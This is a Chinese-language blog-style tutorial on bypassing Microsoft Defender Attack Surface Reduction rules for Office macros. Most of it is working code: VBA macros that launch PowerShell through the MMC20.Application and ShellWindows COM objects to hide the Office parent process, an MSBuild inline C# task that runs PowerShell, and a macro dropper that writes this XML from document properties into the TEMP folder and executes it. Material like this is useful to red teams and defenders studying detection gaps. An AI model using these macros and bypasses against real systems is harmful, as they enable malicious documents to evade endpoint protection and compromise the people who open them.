0X00 什么是ASR
Attack Surface Reduction(ASR)是微软推出一组Windows defender强化配置,旨在减缓攻击者常用的攻击技术。ASR规则在LUA中实现,并由Windows Defender执行。它们具体如下:
更加详细的细节可以在这个地方查看https://learn.microsoft.com/zh-cn/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide(当然也可以点段首的加粗字体跳转)
这些规则中的许多规则可以组合使用,当然我们可以单独绕过某一规则,但它仍然有可能被另一规则所阻止。本文演示的是在Office下的Bypass。
0x01 Block Office Processes
这个规则即阻止所有Office应用程序创建子进程,这包括Word、Excel、PowerPoint、OneNote和Access
在我们创建生成宏文档并让他运行PowerShell payload的时候,一般是下面的代码
1
2
3
4
5
6
Sub Asr()
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
wsh.Run "powershell"
Set wsh = Nothing
End Sub
但是这样容易被Windows本身的defender发现并把他无情的查杀。
0x02 COM Bypass
解决这个问题的一种方法是使用COM,我们可以直接从VBA实例化一个COM对象来达到绕过ASR的查杀的目的。因此我们可以考虑利用那些我们知道会导致代码执行的对象。然而并不是每个COM对象都可以进行代码执行,只有设置LocalServer32,以便进程具有不是Office应用程序的父进程才可以。例如,MMC20.Application对象会使用mmc.exe作为父进程,而ShellWindows和ShellBrowserWindow的ShellExecute方法都将使用explorer.exe 作为父进程。 下面是一个使用MMC20的方法:
1
2
3
4
5
6
Sub Asr()
Dim mmc As Object
Set mmc = CreateObject("MMC20.Application")
mmc.Document.ActiveView.ExecuteShellCommand "powershell", "", "", "7"
Set mmc = Nothing
End Sub
mmc.exe会马上关闭,从而生成没有父进程的PowerShell
下面是使用ShellWindows的方法:
1
2
3
4
5
6
Sub Asr()
Dim com As Object
Set com = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
com.Item.Document.Application.ShellExecute "powershell", "", "", Null, 0
Set com = Nothing
End Sub
与之前的相比,这个会生成一个隐藏的PowerShell进程,并且它将会作为explorer.exe的子进程运行。就之前的方法来说,这种方法提高了隐蔽性。
0x03 LOLBAS
ASR规则实际上是基于某种黑名单的来实现的,我们可以尝试打开一个记事本来验证我们的猜想。
Windows defender没有拦截,所以我们上述的想法成立。
因此我们可以大胆猜测这里可能会有使用基于命令行的执行的办法,笔者在这里使用了LOLBAS项目,经过简单的测试,发现MSBuild没有被拦截(其他的可以自行测试)。
MSBuild可以从.xml或.csproj文件执行内联C#代码。可以在这里去查看MSBuild的结构https://learn.microsoft.com/zh-cn/visualstudio/msbuild/msbuild-project-file-schema-reference?view=vs-2022
我们可以通过以下方法去实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<ASRSucks />
</Target>
<UsingTask
TaskName="ASRSucks"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ASRSucks : Task, ITask
{
public override bool Execute()
{
Console.WriteLine("tested by 二两");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
我们可以通过这种方式去运行
1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe test.xml
那么接下来就是怎么去利用word宏去执行我们的恶意代码,我们可以将xml提前放在电脑的某个位置(例如temp目录,然后通过宏执行)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="MSBuild">
<ASRSucks />
</Target>
<UsingTask
TaskName="ASRSucks"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System.Diagnostics;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ASRSucks : Task, ITask
{
public override bool Execute()
{
Process.Start("powershell");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
1
2
3
4
5
6
7
8
9
10
11
12
13
Sub Asr()
Dim comment As String
Dim wsh As Object
Dim temp As String
Dim command As String
temp = LCase(Environ("TEMP"))
comment = ActiveDocument.BuiltInDocumentProperties("Comments").Value
Set wsh = CreateObject("WScript.Shell")
command = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe " & temp & "\test.xml"
wsh.Run command
End Sub
当然,这些代码会一直保持在temp目录下面,我们可以增加一点东西把它删除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Sub Asr()
Dim comment As String
Dim fSo As Object
Dim dropper As Object
Dim wsh As Object
Dim temp As String
Dim command As String
temp = LCase(Environ("TEMP"))
Set fSo = CreateObject("Scripting.FileSystemObject")
Set dropper = fSo.CreateTextFile(temp & "\test.xml", True)
comment = ActiveDocument.BuiltInDocumentProperties("Comments").Value
dropper.WriteLine comment
dropper.Close
Set wsh = CreateObject("WScript.Shell")
command = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe " & temp & "\test.xml"
wsh.Run command
Set fSo = Nothing
Set dropper = Nothing
Set wsh = Nothing
End Sub
0x04 小结
本文介绍了在ASR规则下,Office在执行宏中的绕过。当然以上有些方法在不同版本的Windows中处理生成也会有所不同,具体的不同可以去自行测试。